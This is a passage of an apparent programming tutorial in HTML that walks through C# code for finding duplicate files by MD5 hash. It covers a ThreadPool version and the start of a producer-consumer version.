<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span> def <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetFileName(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FilePath <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetDirectoryName(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>LastModifiedDate <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetLastWriteTime(fn);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span> fileInfo <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span>(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> fileInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (Hash<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Contains(<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)))</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> l <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> Hash[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)] <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(def);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hash[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> l;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> l <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(def);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hash<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h), l);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p>
<strong>2. ThreadPool</strong><br />
We could improve the performance by moving the hash calculation to separate threads. </p>
<p>The first approach to parallelize the task is to use a thread pool to queue the work of calculating file hashes. Since calculating file hash involves reading in the whole file (IO bound) and some calculation on the content, there is some inherent parallelism so using multiple threads could potentially improve performance.</p>
<p>The code below shows this approach:</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> FindDuplicates(<span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> files)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> (<span style="color: blue; font-weight: bold;">int</span> n <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span>; n <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> files<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Count; n <span style="color: rgb(128, 128, 192); font-weight: bold;">+=</span> _numOfThreads)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _autoEvents <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">AutoResetEvent</span>[_numOfThreads];</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> (<span style="color: blue; font-weight: bold;">int</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span>; i <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> _numOfThreads; i<span style="color: rgb(128, 128, 192); font-weight: bold;">++</span>)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (n <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> files<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Count)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _autoEvents[i] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">AutoResetEvent</span>(<span style="color: blue; font-weight: bold;">false</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">ThreadPool</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>QueueUserWorkItem(CalculateFileHash, <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileThreadInfo</span>(i, files[n <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> i]));</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _autoEvents[i] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">AutoResetEvent</span>(<span style="color: blue; font-weight: bold;">true</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">WaitHandle</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>WaitAll(_autoEvents);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">private</span> <span style="color: blue; font-weight: bold;">void</span> CalculateFileHash(<span style="color: blue; font-weight: bold;">object</span> stateInfo)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileThreadInfo</span> threadInfo <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> stateInfo <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileThreadInfo</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">string</span> h <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> ComputeMD5(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">Thread</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>CurrentThread<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Name <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (h <span style="color: rgb(128, 128, 192); font-weight: bold;">!=</span> <span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Empty)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span> def <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetFileName(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FilePath <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetDirectoryName(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>LastModifiedDate <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetLastWriteTime(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span> fileInfo <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span>(threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> fileInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (Hash<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Contains(<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)))</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> l <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> Hash[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)] <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(def);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hash[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h)] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> l;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> l <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(def);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Hash<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Add(<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;:&quot;</span>, h), l);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _autoEvents[threadInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>ID]<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Set();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p><strong><br />
3. Producer and Consumer</strong><br />
Even through the previous approach improved the duplicated file finding performance, it is still not optimum. For example, even though multiple threads are used to calculate file hashes, they are joined at the end before another set of calculation is queued. Also, the IO is operations are distributed across multiple threads and on some older hard drives handling IO in multiple threads can actually slow things down. An ideal solution would be to use a single thread for IO operation since IO is inherently sequential. </p>
<p>As it turned out, this problem is a classic <a href="http://en.wikipedia.org/wiki/Producer-consumer ">producer-consumer</a> problem. In this third approach, we will examine how to use the producer consumer model to solve the problem of finding duplicates. In this approach, the producer thread searches for files within a given directory. It opens each file as it encounters and read the content into a <a href="http://research.microsoft.com/~birrell/papers/ThreadsCSharp.pdf">ProducerConsuerQueue</a>. At the same time, the consumer computes the hash from the bytes stored in the queue and determines whether a file is duplicated or not. The code is slightly different than what you saw above as files are being added to the queue and consumed from the queue simultaneously.</p>
<p>&nbsp;</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">ProducerConsumerQueue</span> _q <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">null</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> FindDuplicates(<span style="color: blue; font-weight: bold;">string</span> rootDir)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">using</span> (_q <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">ProducerConsumerQueue</span>())</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GetFiles(rootDir);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
